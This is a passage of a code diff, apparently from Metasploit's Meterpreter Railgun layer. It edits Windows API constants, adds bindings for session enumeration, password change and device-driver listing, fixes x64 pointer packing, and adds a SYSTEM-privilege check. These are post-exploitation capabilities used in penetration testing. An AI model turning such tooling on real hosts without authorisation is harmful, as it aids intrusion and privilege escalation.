win_const_mgr.add_const('SERVICE_STOP',0x00000020) + win_const_mgr.add_const('SERVICE_PAUSE_CONTINUE',0x00000040) + win_const_mgr.add_const('SERVICE_INTERROGATE',0x00000080) + win_const_mgr.add_const('SERVICE_USER_DEFINED_CONTROL',0x00000100) + win_const_mgr.add_const('SERVICE_ALL_ACCESS',0x000F01FF) + win_const_mgr.add_const('LINEINITIALIZEEXOPTION_USECOMPLETIONPORT',0x00000003) win_const_mgr.add_const('AVIIF_TWOCC',0x00000002) win_const_mgr.add_const('TBTS_LEFT',0x00000001) @@ -3408,7 +3470,6 @@ class ApiConstants win_const_mgr.add_const('SQL_DS_RESTRICT',0x00000002) win_const_mgr.add_const('SQL_FD_FETCH_NEXT',0x00000001) win_const_mgr.add_const('HTTP_QUERY_ACCEPT_LANGUAGE',0x0000001B) - win_const_mgr.add_const('SC_MANAGER_LOCK',0x00000008) win_const_mgr.add_const('CM_CDMASK_VALID',0x0000000F) win_const_mgr.add_const('DI_NEEDRESTART',0x00000080) win_const_mgr.add_const('DSOP_DOWNLEVEL_FILTER_NETWORK',0x80001000) @@ -4450,7 +4511,6 @@ class ApiConstants win_const_mgr.add_const('WGL_SWAP_UNDERLAY1',0x00010000) win_const_mgr.add_const('CRYPTDLG_ACTION_MASK',0xFFFF0000) win_const_mgr.add_const('MCI_ANIM_WINDOW_HWND',0x00010000) - win_const_mgr.add_const('SERVICE_QUERY_CONFIG',0x00000001) win_const_mgr.add_const('MF_MEDIATYPE_EQUAL_FORMAT_DATA',0x00000004) win_const_mgr.add_const('USE_REMOTE_PARMNUM',0x00000002) win_const_mgr.add_const('CF_PALETTE',0x00000009) @@ -5623,7 +5683,6 @@ class ApiConstants win_const_mgr.add_const('SQL_DROP_VIEW',0x0000008F) win_const_mgr.add_const('FEI_MODEM_POWERED_ON',0x00000011) win_const_mgr.add_const('WNODE_FLAG_INTERNAL',0x00000100) - win_const_mgr.add_const('SERVICE_START_PENDING',0x00000002) win_const_mgr.add_const('ERROR_SXS_INVALID_ACTCTXDATA_FORMAT',0x000036B2) win_const_mgr.add_const('ACMFILTERTAGDETAILS_FILTERTAG_CHARS',0x00000030) win_const_mgr.add_const('MAPI_E_ATTACHMENT_WRITE_FAILURE',0x0000000D) @@ -9255,7 +9314,6 @@ class ApiConstants win_const_mgr.add_const('TAPE_SPACE_RELATIVE_BLOCKS',0x00000005) win_const_mgr.add_const('DBT_DEVICEARRIVAL',0x00008000) win_const_mgr.add_const('IMAGE_REL_ALPHA_REFHI',0x0000000A) - win_const_mgr.add_const('SERVICE_WIN32_SHARE_PROCESS',0x00000020) win_const_mgr.add_const('R2_NOTCOPYPEN',0x00000004) win_const_mgr.add_const('POLICY_ERRV_GLOBAL_GRP_PEAK_RATE',0x0000001A) win_const_mgr.add_const('VTBIT_CY',0x00000001) @@ -9859,7 +9917,6 @@ class ApiConstants win_const_mgr.add_const('DISPID_FILELISTENUMDONE',0x000000C9) win_const_mgr.add_const('DBPROPVAL_IN_DISALLOWNULL',0x00000001) win_const_mgr.add_const('PP_PROVTYPE',0x00000010) - win_const_mgr.add_const('SERVICE_PAUSE_PENDING',0x00000006) win_const_mgr.add_const('MWMO_WAITALL',0x00000001) win_const_mgr.add_const('PIR_STATUS_ERROR',0x00000000) win_const_mgr.add_const('ERROR_DS_NO_DELETED_NAME',0x000020A3) @@ -10819,7 +10876,6 @@ class ApiConstants win_const_mgr.add_const('LINEADDRCAPFLAGS_QUEUE',0x01000000) win_const_mgr.add_const('PRINTER_ACCESS_ADMINISTER',0x00000004) win_const_mgr.add_const('SECPKG_CALL_THREAD_TERM',0x00000080) - win_const_mgr.add_const('SERVICE_RECOGNIZER_DRIVER',0x00000008) win_const_mgr.add_const('MD_DIRBROW_SHOW_EXTENSION',0x00000010) win_const_mgr.add_const('HHWIN_BUTTON_BROWSE_BCK',0x00000001) win_const_mgr.add_const('COLOR_WINDOWFRAME',0x00000006) @@ -11675,7 +11731,6 @@ class ApiConstants win_const_mgr.add_const('PORT_UAAC',0x00000091) win_const_mgr.add_const('D3DPBLENDCAPS_SRCALPHA',0x00000010) win_const_mgr.add_const('CALLBACK_STREAM_SWITCH',0x00000001) - win_const_mgr.add_const('GENERIC_EXECUTE',0x20000000) win_const_mgr.add_const('NUMPRS_PARENS',0x00000080) win_const_mgr.add_const('SHI1005_FLAGS_FORCE_SHARED_DELETE',0x00000200) win_const_mgr.add_const('SQL_HC_OFF',0x00000000) @@ -11965,7 +12020,6 @@ class ApiConstants win_const_mgr.add_const('MCI_WAIT',0x00000002) win_const_mgr.add_const('SPI_SETDROPSHADOW',0x00001025) win_const_mgr.add_const('VK_OEM_PERIOD',0x000000BE) - win_const_mgr.add_const('SERVICE_CHANGE_CONFIG',0x00000002) win_const_mgr.add_const('CERT_STORE_PROV_WRITE_CTL_FUNC',0x0000000A) win_const_mgr.add_const('SUBLANG_TAMAZIGHT_ALGERIA_LATIN',0x00000002) win_const_mgr.add_const('XECR_PKCS7',0x00000002) @@ -12173,7 +12227,6 @@ class ApiConstants win_const_mgr.add_const('MCI_VCR_FREEZE_OUTPUT',0x00020000) win_const_mgr.add_const('DEX_IDS_NO_SOURCE_NAMES',0x0000057D) win_const_mgr.add_const('SQL_OUTER_JOINS',0x00000026) - win_const_mgr.add_const('SERVICE_ENUMERATE_DEPENDENTS',0x00000008) win_const_mgr.add_const('CR_NO_SUCH_LOGICAL_DEV',0x00000014) win_const_mgr.add_const('IDC_PS_DISPLAYASICON',0x000001FA) win_const_mgr.add_const('GESTURE_UP_LEFT_LONG',0x00000000) @@ -12243,7 +12296,6 @@ class ApiConstants win_const_mgr.add_const('ERROR_VOLSNAP_PREPARE_HIBERNATE',0x0000028F) win_const_mgr.add_const('TMT_CAPTIONBARHEIGHT',0x000004B5) win_const_mgr.add_const('IDM_ENABLE_INTERACTION',0x000008FE) - win_const_mgr.add_const('DELETE',0x00010000) win_const_mgr.add_const('CRYPTUI_WIZ_DIGITAL_SIGN_PVK',0x00000003) win_const_mgr.add_const('ERROR_CTX_MODEM_RESPONSE_NO_CARRIER',0x00001B65) win_const_mgr.add_const('OE_SETTING',0x00000004) @@ -12431,7 +12483,7 @@ class ApiConstants win_const_mgr.add_const('ET_DITHERMODE',0x00000004) win_const_mgr.add_const('AA_A_ACL',0x00008000) win_const_mgr.add_const('MCI_UPDATE',0x00000854) - win_const_mgr.add_const('READ_CONTROL',0x00020000) + win_const_mgr.add_const('ERROR_DS_DESTINATION_DOMAIN_NOT_IN_FOREST',0x00002157) win_const_mgr.add_const('IDM_IE50_PASTE',0x00000961) win_const_mgr.add_const('DB_NULL_HCHAPTER',0x00000000) @@ -12739,7 +12791,6 @@ class ApiConstants win_const_mgr.add_const('OPF_DISABLECONVERT',0x00000008) win_const_mgr.add_const('D3DPCMPCAPS_LESS',0x00000002) win_const_mgr.add_const('D3DPRESENT_INTERVAL_TWO',0x00000002) - win_const_mgr.add_const('SERVICE_STOP',0x00000020) win_const_mgr.add_const('WLX_OPTION_SMART_CARD_INFO',0x00010002) win_const_mgr.add_const('MAX_LANA',0x000000FE) win_const_mgr.add_const('PLATFORM_ID_VMS',0x000002BC) @@ -14732,7 +14783,6 @@ class ApiConstants win_const_mgr.add_const('CDIS_GRAYED',0x00000002) win_const_mgr.add_const('DISPID_QUIT',0x00000067) win_const_mgr.add_const('LINETOLLLISTOPTION_REMOVE',0x00000002) - win_const_mgr.add_const('SERVICE_WIN32_OWN_PROCESS',0x00000010) win_const_mgr.add_const('SM_FOCUS_TYPE_NT_DOMAIN',0x00000001) win_const_mgr.add_const('WINHTTP_CALLBACK_STATUS_REQUEST_ERROR',0x00200000) win_const_mgr.add_const('PORT_WPGS',0x0000030C) @@ -15353,7 +15403,6 @@ class ApiConstants win_const_mgr.add_const('DEBUG_VSOURCE_MAPPED_IMAGE',0x00000002) win_const_mgr.add_const('ERROR_DS_OBJ_STRING_NAME_EXISTS',0x00002071) win_const_mgr.add_const('DPD_DELETE_ALL_FILES',0x00000004) - win_const_mgr.add_const('SERVICE_STOPPED',0x00000001) win_const_mgr.add_const('DMPAPER_ENV_PERSONAL',0x00000026) win_const_mgr.add_const('WM_RBUTTONDBLCLK',0x00000206) win_const_mgr.add_const('SQL_CURRENT_QUALIFIER',0x0000006D) @@ -15754,7 +15803,6 @@ class ApiConstants win_const_mgr.add_const('ERROR_ABANDONED_WAIT_0',0x000002DF) win_const_mgr.add_const('SQL_API_SQLGETCURSORNAME',0x00000011) win_const_mgr.add_const('UINT8_MAX',0x00000000) - win_const_mgr.add_const('SERVICE_NO_CHANGE',0x00000000) win_const_mgr.add_const('AE_SRVCONT',0x00000002) win_const_mgr.add_const('RPC_S_GRP_ELT_NOT_REMOVED',0x00000789) win_const_mgr.add_const('ERROR_CONNECTED_OTHER_PASSWORD_DEFAULT',0x0000083D) @@ -16075,7 +16123,6 @@ class ApiConstants win_const_mgr.add_const('ERRCLASS_UNK',0x0000000D) win_const_mgr.add_const('STREAM_MODIFIED_WHEN_READ',0x00000001) win_const_mgr.add_const('SENSITIVITY_PROP_NORMAL',0x00000000) - win_const_mgr.add_const('SERVICE_INTERROGATE',0x00000080) win_const_mgr.add_const('VK_BROWSER_FORWARD',0x000000A7) win_const_mgr.add_const('IDM_BLOCKDIRLTR',0x00000930) win_const_mgr.add_const('RF_LATTICE',0x00000800) @@ -17110,7 +17157,6 @@ class ApiConstants win_const_mgr.add_const('TRUSTERROR_STEP_MESSAGE',0x00000008) win_const_mgr.add_const('LB_SETTABSTOPS',0x00000192) win_const_mgr.add_const('SQL_TL_ON',0x00000001) - win_const_mgr.add_const('SERVICE_FILE_SYSTEM_DRIVER',0x00000002) win_const_mgr.add_const('SCRIPTPROP_GCCONTROLSOFTCLOSE',0x00002000) win_const_mgr.add_const('OPATH_TOK_OPEN_PAREN',0x0000006A) win_const_mgr.add_const('IMAGE_SYM_CLASS_REGISTER_PARAM',0x00000011) @@ -18538,7 +18584,6 @@ class ApiConstants win_const_mgr.add_const('DEBUG_OUTCTL_ALL_OTHER_CLIENTS',0x00000002) win_const_mgr.add_const('MAX_DDDEVICEID_STRING',0x00000200) win_const_mgr.add_const('USN_REASON_RENAME_NEW_NAME',0x00002000) - win_const_mgr.add_const('WRITE_DAC',0x00040000) win_const_mgr.add_const('BTH_ERROR_SUCCESS',0x00000000) win_const_mgr.add_const('SERVER_SEARCH_FLAG_PHANTOM_ROOT',0x00000002) win_const_mgr.add_const('SUBLANG_SINDHI_INDIA',0x00000001) @@ -20372,7 +20417,6 @@ class ApiConstants win_const_mgr.add_const('KERB_CHECKSUM_CRC32',0x00000001) win_const_mgr.add_const('IMC_SETCOMPOSITIONFONT',0x0000000A) win_const_mgr.add_const('TVC_UNKNOWN',0x00000000) - win_const_mgr.add_const('SERVICE_RUNNING',0x00000004) win_const_mgr.add_const('PORT_HMMP_INDICATION',0x00000264) win_const_mgr.add_const('PARTID_MASK',0x00000000) win_const_mgr.add_const('SSRVOPT_PARAMTYPE',0x00000100) @@ -20721,7 +20765,6 @@ class ApiConstants win_const_mgr.add_const('CB_MAX_FILENAME',0x00000100) win_const_mgr.add_const('MCI_VCR_SET_TRACKING',0x00400000) win_const_mgr.add_const('LANG_SINDHI',0x00000059) - win_const_mgr.add_const('SERVICE_ADAPTER',0x00000004) win_const_mgr.add_const('PCMCIA_DEF_MEMEND',0x00FFFFFF) win_const_mgr.add_const('D3DPTEXTURECAPS_MIPCUBEMAP',0x00010000) win_const_mgr.add_const('C2_NOTAPPLICABLE',0x00000000) @@ -20938,7 +20981,6 @@ class ApiConstants win_const_mgr.add_const('CTF_REF_COUNTED',0x00000020) win_const_mgr.add_const('MCI_DEVTYPE_CD_AUDIO',0x00000204) win_const_mgr.add_const('D3DDEVCAPS_TLVERTEXSYSTEMMEMORY',0x00000040) - win_const_mgr.add_const('GENERIC_WRITE',0x40000000) win_const_mgr.add_const('SE_GROUP_ENABLED',0x00000004) win_const_mgr.add_const('PDH_REFRESHCOUNTERS',0x00000004) win_const_mgr.add_const('ERROR_CLUSTER_MAXNUM_OF_RESOURCES_EXCEEDED',0x000013D4) @@ -21904,7 +21946,6 @@ class ApiConstants win_const_mgr.add_const('SHERB_NOCONFIRMATION',0x00000001) win_const_mgr.add_const('DEBUG_REQUEST_TARGET_EXCEPTION_RECORD',0x00000003) win_const_mgr.add_const('CERT_TRUST_INVALID_BASIC_CONSTRAINTS',0x00000400) - win_const_mgr.add_const('SERVICE_CONTINUE_PENDING',0x00000005) win_const_mgr.add_const('URLACTION_ACTIVEX_RUN',0x00001200) win_const_mgr.add_const('EMR_BITBLT',0x0000004C) win_const_mgr.add_const('DEBUG_ASMOPT_DEFAULT',0x00000000) @@ -23291,7 +23332,6 @@ class ApiConstants win_const_mgr.add_const('HLNF_DISABLEWINDOWRESTRICTIONS',0x00800000) win_const_mgr.add_const('WINHTTP_OPTION_CONNECT_TIMEOUT',0x00000003) win_const_mgr.add_const('DS_NOIDLEMSG',0x00000100) - win_const_mgr.add_const('SC_MANAGER_CONNECT',0x00000001) win_const_mgr.add_const('CRYPT_ACQUIRE_PREFER_NCRYPT_KEY_FLAG',0x00020000) win_const_mgr.add_const('ERROR_LOG_CLIENT_NOT_REGISTERED',0x000019ED) win_const_mgr.add_const('CERT_NAME_STR_REVERSE_FLAG',0x02000000) @@ -23830,7 +23870,6 @@ class ApiConstants win_const_mgr.add_const('DISPID_IHTMLPLUGINSCOLLECTION_REFRESH',0x00000002) win_const_mgr.add_const('CM_OPEN_CLASS_KEY_BITS',0x00000001) win_const_mgr.add_const('HH_SAFE_DISPLAY_TOPIC',0x00000020) - win_const_mgr.add_const('SC_MANAGER_ENUMERATE_SERVICE',0x00000004) win_const_mgr.add_const('FPSR_MBZ0_V',0x00000003) win_const_mgr.add_const('ERROR_CLUSTER_NODE_ALREADY_HAS_DFS_ROOT',0x000013E0) win_const_mgr.add_const('WIA_DPF_FIRST',0x00000D02) @@ -24022,7 +24061,6 @@ class ApiConstants win_const_mgr.add_const('DNS_RTYPE_HINFO',0x00000000) win_const_mgr.add_const('WM_COMPACTING',0x00000041) win_const_mgr.add_const('EXITPUB_FILE',0x00000001) - win_const_mgr.add_const('ACCESS_SYSTEM_SECURITY',0x01000000) win_const_mgr.add_const('IP_ADAPTER_IPV4_ENABLED',0x00000080) win_const_mgr.add_const('DXGI_USAGE_BACK_BUFFER',0x00000001) win_const_mgr.add_const('DVD_AUDIO_CAPS_MPEG2',0x00000002) @@ -24229,7 +24267,6 @@ class ApiConstants win_const_mgr.add_const('PSH_USEHBMWATERMARK',0x00010000) win_const_mgr.add_const('APPCTR_MD_ID_BEGIN_RESERVED',0x00000000) win_const_mgr.add_const('ADMIN_STATE_ENABLED',0x00000002) - win_const_mgr.add_const('SERVICE_START',0x00000010) win_const_mgr.add_const('SQL_CONVERT_WVARCHAR',0x0000007E) win_const_mgr.add_const('SECPKG_CONTEXT_EXPORT_RESET_NEW',0x00000001) win_const_mgr.add_const('GESTURE_INFINITY',0x00000000) @@ -24327,7 +24364,6 @@ class ApiConstants win_const_mgr.add_const('ICDRAW_NULLFRAME',0x10000000) win_const_mgr.add_const('JET_BASE_NAME_LENGTH',0x00000003) win_const_mgr.add_const('HHWIN_PROP_ONTOP',0x00000001) - win_const_mgr.add_const('SERVICE_PAUSED',0x00000007) win_const_mgr.add_const('ICEE_CREATE_FILE_PE32',0x00000001) win_const_mgr.add_const('CSIDL_PRINTERS',0x00000004) win_const_mgr.add_const('LINEBEARERMODE_MULTIUSE',0x00000004) @@ -24628,7 +24664,6 @@ class ApiConstants win_const_mgr.add_const('POSTSCRIPT_DATA',0x00000025) win_const_mgr.add_const('MCIWNDF_NOMENU',0x00000008) win_const_mgr.add_const('OID_CO_TAPI_TRANSLATE_NDIS_CALLPARAMS',0xFE001005) - win_const_mgr.add_const('SERVICE_USER_DEFINED_CONTROL',0x00000100) win_const_mgr.add_const('JIFMK_FF',0x0000FFFF) win_const_mgr.add_const('DFCS_HOT',0x00001000) win_const_mgr.add_const('SI_CONTAINER',0x00000004) @@ -25917,7 +25952,6 @@ class ApiConstants win_const_mgr.add_const('TOKEN_ADJUST_PRIVILEGES',0x00000020) win_const_mgr.add_const('CRL_REASON_UNSPECIFIED',0x00000000) win_const_mgr.add_const('SERVICE_STOP_REASON_MINOR_MIN',0x00000000) - win_const_mgr.add_const('SERVICE_PAUSE_CONTINUE',0x00000040) win_const_mgr.add_const('RPC_C_QOS_CAPABILITIES_SCHANNEL_FULL_AUTH_IDENTITY',0x00000020) win_const_mgr.add_const('FEI_SENDING',0x00000002) win_const_mgr.add_const('DOF_PROGMAN',0x00000001) @@ -29144,7 +29178,6 @@ class ApiConstants win_const_mgr.add_const('DS_FORCE_REDISCOVERY',0x00000001) win_const_mgr.add_const('PDH_INVALID_INSTANCE',0xC0000BC5) win_const_mgr.add_const('LOCALSTATE_POLICYREMOVE_UNINSTALL',0x00000010) - win_const_mgr.add_const('SERVICE_STOP_PENDING',0x00000003) win_const_mgr.add_const('PS_JOIN_BEVEL',0x00001000) win_const_mgr.add_const('MFE_PRUNED_UPSTREAM',0x00000004) win_const_mgr.add_const('TMT_BTNTEXT',0x00000653) @@ -30370,7 +30403,6 @@ class ApiConstants win_const_mgr.add_const('VK_DBE_NOROMAN',0x00000000) win_const_mgr.add_const('DNS_TYPE_CNAME',0x00000005) win_const_mgr.add_const('PID_IS_WORKINGDIR',0x00000005) - win_const_mgr.add_const('SC_MANAGER_QUERY_LOCK_STATUS',0x00000010) win_const_mgr.add_const('APPCOMMAND_MEDIA_PLAY_PAUSE',0x0000000E) win_const_mgr.add_const('MCI_ANIM_PLAY_SCAN',0x00100000) win_const_mgr.add_const('NOTIFY_CLASS_REGISTRY_CHANGE',0x00000004) @@ -32077,7 +32109,6 @@ class ApiConstants win_const_mgr.add_const('RPC_S_SEC_PKG_ERROR',0x00000721) win_const_mgr.add_const('IPPORT_ECHO',0x00000007) win_const_mgr.add_const('APPSTATUS_STOPPED',0x00000000) - win_const_mgr.add_const('SERVICE_QUERY_STATUS',0x00000004) win_const_mgr.add_const('WMDM_DEVICECAP_CANPAUSE',0x00000010) win_const_mgr.add_const('PSP_USEFUSIONCONTEXT',0x00004000) win_const_mgr.add_const('SUBSCRIPTION_CAP_IS_CONTENTPARTNER',0x00000040) @@ -33167,7 +33198,6 @@ class ApiConstants win_const_mgr.add_const('DISPID_CUSTOMIZESETTINGS',0x00000011) win_const_mgr.add_const('IMAGE_REL_I386_SECREL',0x0000000B) win_const_mgr.add_const('IF_TYPE_VOICE_FXS',0x00000066) - win_const_mgr.add_const('WRITE_OWNER',0x00080000) win_const_mgr.add_const('CALLBACK_FUNCTION',0x00030000) win_const_mgr.add_const('CRYPT_MODE_CTS',0x00000005) win_const_mgr.add_const('PAN_STROKEVARIATION_INDEX',0x00000005) @@ -34303,7 +34333,6 @@ class ApiConstants win_const_mgr.add_const('DDPCAPS_1BIT',0x00000100) win_const_mgr.add_const('INADDR_LOOPBACK',0x00000007) win_const_mgr.add_const('HTTP_QUERY_SERVER',0x00000025) - win_const_mgr.add_const('GENERIC_READ',0x80000000) win_const_mgr.add_const('DSBI_EXPANDONOPEN',0x00040000) win_const_mgr.add_const('D3DUSAGE_DYNAMIC',0x00000200) win_const_mgr.add_const('MIN_PST_ERROR',0x800C0001) @@ -36254,7 +36283,6 @@ class ApiConstants win_const_mgr.add_const('DBFLAGS_MULTITHREADTRANSACTIONS',0x00000200) win_const_mgr.add_const('ERROR_DBG_RIPEXCEPTION',0x000002B7) win_const_mgr.add_const('KSALLOCATOR_FLAG_NO_FRAME_INTEGRITY',0x00000100) - win_const_mgr.add_const('SC_MANAGER_MODIFY_BOOT_CONFIG',0x00000020) win_const_mgr.add_const('PBT_APMPOWERSTATUSCHANGE',0x0000000A) win_const_mgr.add_const('IDM_TRIED_INSERTTABLE',0x00000016) win_const_mgr.add_const('IMC_OPENSTATUSWINDOW',0x00000022) @@ -38107,7 +38135,6 @@ class ApiConstants win_const_mgr.add_const('TIME_STAMP_CAPABLE',0x00000020) win_const_mgr.add_const('WIA_IPA_ITEM_CATEGORY',0x0000101D) win_const_mgr.add_const('DNS_UPDATE_SECURITY_OFF',0x00000010) - win_const_mgr.add_const('SERVICE_KERNEL_DRIVER',0x00000001) win_const_mgr.add_const('HANDLE_PARAM_IS_IN',0x00000040) win_const_mgr.add_const('IF_CHECK_SEND',0x00000002) win_const_mgr.add_const('MSV1_0_ALLOW_WORKSTATION_TRUST_ACCOUNT',0x00000800) diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_netapi32.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_netapi32.rb index 7c3b8385ef..8fcb491f4e 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_netapi32.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_netapi32.rb @@ -68,6 +68,29 @@ class Def_netapi32 ["PDWORD","totalentries","out"] ]) + dll.add_function('NetSessionEnum', 'DWORD',[ + ['PWCHAR','servername','in'], + ['PWCHAR','UncClientName','in'], + ['PWCHAR','username','in'], + ['DWORD','level','in'], + ['PDWORD','bufptr','out'], + ['DWORD','prefmaxlen','in'], + ['PDWORD','entriesread','out'], + ['PDWORD','totalentries','out'], + ['PDWORD','resume_handle','inout'] + ]) + + dll.add_function('NetApiBufferFree', 'DWORD', [ + ['LPVOID','buffer','in'] + ]) + + dll.add_function('NetUserChangePassword', 'DWORD', [ + ["PWCHAR","domainname","in"], + ["PWCHAR","username","in"], + ["PWCHAR","oldpassword","in"], + ["PWCHAR","newpassword","in"] + ]) + return dll end diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_psapi.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_psapi.rb new file mode 100644 index 0000000000..36b59c6d48 --- /dev/null +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_psapi.rb @@ -0,0 +1,32 @@ +# -*- coding: binary -*- +module Rex +module Post +module Meterpreter +module Extensions +module Stdapi +module Railgun +module Def + +class Def_psapi + + def self.create_dll(dll_path = 'psapi') + dll = DLL.new(dll_path, ApiConstants.manager) + + dll.add_function('EnumDeviceDrivers', 'BOOL',[ + %w(PBLOB lpImageBase out), + %w(DWORD cb in), + %w(PDWORD lpcbNeeded out) + ]) + + dll.add_function('GetDeviceDriverBaseNameA', 'DWORD', [ + %w(LPVOID ImageBase in), + %w(PBLOB lpBaseName out), + %w(DWORD nSize in) + ]) + + return dll + end + +end + +end; end; end; end; end; end; end diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll.rb index a2bce9ea8b..b487d3641c 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll.rb @@ -120,7 +120,7 @@ class DLL raise "#{function.params.length} arguments expected. #{args.length} arguments provided." unless args.length == function.params.length if( client.platform =~ /x64/i ) - native = 'Q' + native = 'Q<' else native = 'V' end @@ -153,12 +153,12 @@ class DLL buffer_size = args[param_idx] if param_desc[0] == "PDWORD" # bump up the size for an x64 pointer - if( native == 'Q' and buffer_size == 4 ) + if( native == 'Q<' and buffer_size == 4 ) args[param_idx] = 8 buffer_size = args[param_idx] end - if( native == 'Q' ) + if( native == 'Q<' ) raise "Please pass 8 for 'out' PDWORDS, since they require a buffer of size 8" unless buffer_size == 8 elsif( native == 'V' ) raise "Please pass 4 for 'out' PDWORDS, since they require a buffer of size 4" unless buffer_size == 4 @@ -288,7 +288,7 @@ class DLL #process return value case function.return_type when "LPVOID", "HANDLE" - if( native == 'Q' ) + if( native == 'Q<' ) return_hash["return"] = rec_return_value else return_hash["return"] = rec_return_value % 4294967296 @@ -318,7 +318,10 @@ class DLL buffer = rec_out_only_buffers[buffer_item.addr, buffer_item.length_in_bytes] case buffer_item.datatype when "PDWORD" - return_hash[param_name] = buffer.unpack('V')[0] + # PDWORD is treated as a POINTER + return_hash[param_name] = buffer.unpack(native).first + # If PDWORD is treated correctly as a DWORD + return_hash[param_name] = buffer.unpack('V').first if return_hash[param_name].nil? when "PCHAR" return_hash[param_name] = asciiz_to_str(buffer) when "PWCHAR" @@ -338,7 +341,10 @@ class DLL buffer = rec_inout_buffers[buffer_item.addr, buffer_item.length_in_bytes] case buffer_item.datatype when "PDWORD" - return_hash[param_name] = buffer.unpack('V')[0] + # PDWORD is treated as a POINTER + return_hash[param_name] = buffer.unpack(native).first + # If PDWORD is treated correctly as a DWORD + return_hash[param_name] = buffer.unpack('V').first if return_hash[param_name].nil? when "PCHAR" return_hash[param_name] = asciiz_to_str(buffer) when "PWCHAR" diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/multicall.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/multicall.rb index 9dc000e0bc..0c4ad6a07a 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/multicall.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/multicall.rb @@ -50,7 +50,7 @@ class MultiCaller @win_consts = win_consts if( @client.platform =~ /x64/i ) - @native = 'Q' + @native = 'Q<' else @native = 'V' end @@ -102,12 +102,12 @@ class MultiCaller raise "error in param #{param_desc[1]}: Out-only buffers must be described by a number indicating their size in bytes " unless args[param_idx].class == Fixnum buffer_size = args[param_idx] # bump up the size for an x64 pointer - if( @native == 'Q' and buffer_size == 4 ) + if( @native == 'Q<' and buffer_size == 4 ) args[param_idx] = 8 buffer_size = args[param_idx] end - if( @native == 'Q' ) + if( @native == 'Q<' ) raise "Please pass 8 for 'out' PDWORDS, since they require a buffer of size 8" unless buffer_size == 8 elsif( @native == 'V' ) raise "Please pass 4 for 'out' PDWORDS, since they require a buffer of size 4" unless buffer_size == 4 @@ -242,7 +242,7 @@ class MultiCaller #process return value case function.return_type when "LPVOID", "HANDLE" - if( @native == 'Q' ) + if( @native == 'Q<' ) return_hash["return"] = rec_return_value else return_hash["return"] = rec_return_value % 4294967296 diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/railgun.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/railgun.rb index 0d6642011f..b045b6b270 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/railgun.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/railgun.rb @@ -78,7 +78,8 @@ class Railgun 'crypt32', 'wlanapi', 'wldap32', - 'version' + 'version', + 'psapi' ].freeze ## diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/type/pointer_util.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/type/pointer_util.rb index c26af3e9c5..a7f5971d75 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/type/pointer_util.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/type/pointer_util.rb @@ -27,8 +27,8 @@ module PointerUtil case platform when PlatformUtil::X86_64 - # XXX: Only works if attacker and victim are like-endianed - [pointer].pack('Q') + # Assume little endian + [pointer].pack('Q<') when PlatformUtil::X86_32 [pointer].pack('V') else @@ -40,8 +40,8 @@ module PointerUtil def self.unpack_pointer(packed_pointer, platform) case platform when PlatformUtil::X86_64 - # XXX: Only works if attacker and victim are like-endianed - packed_pointer.unpack('Q').first + # Assume little endian + packed_pointer.unpack('Q<').first when PlatformUtil::X86_32 packed_pointer.unpack('V').first else diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/util.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/util.rb index ba5f21bca6..6b25a60042 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/util.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/util.rb @@ -324,8 +324,8 @@ class Util # def unpack_pointer(packed_pointer) if is_64bit - # XXX: Only works if attacker and victim are like-endianed - packed_pointer.unpack('Q')[0] + # Assume little endian + packed_pointer.unpack('Q<')[0] else packed_pointer.unpack('V')[0] end @@ -452,9 +452,9 @@ class Util # Both on x86 and x64, DWORD is 32 bits return raw.unpack('V').first when :BOOL - return raw.unpack('l').first == 1 + return raw.unpack('V').first == 1 when :LONG - return raw.unpack('l').first + return raw.unpack('V').first end #If nothing worked thus far, return it raw diff --git a/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb b/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb index 82d75c3b6f..58335c5c83 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb @@ -20,6 +20,8 @@ module Sys ### class Config + SYSTEM_SID = 'S-1-5-18' + def initialize(client) self.client = client end @@ -33,6 +35,22 @@ class Config client.unicode_filter_encode( response.get_tlv_value(TLV_TYPE_USER_NAME) ) end + # + # Gets the SID of the current process/thread. + # + def getsid + request = Packet.create_request('stdapi_sys_config_getsid') + response = client.send_request(request) + response.get_tlv_value(TLV_TYPE_SID) + end + + # + # Determine if the current process/thread is running as SYSTEM + # + def is_system? + getsid == SYSTEM_SID + end + # # Returns a hash of requested environment variables, along with their values. # If a requested value doesn't exist in the response, then the value wasn't found. diff --git a/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb b/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb index a20b0b1993..d89f4acc0b 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb @@ -12,10 +12,10 @@ module Stdapi # ## -TLV_TYPE_HANDLE = TLV_META_TYPE_UINT | 600 +TLV_TYPE_HANDLE = TLV_META_TYPE_QWORD | 600 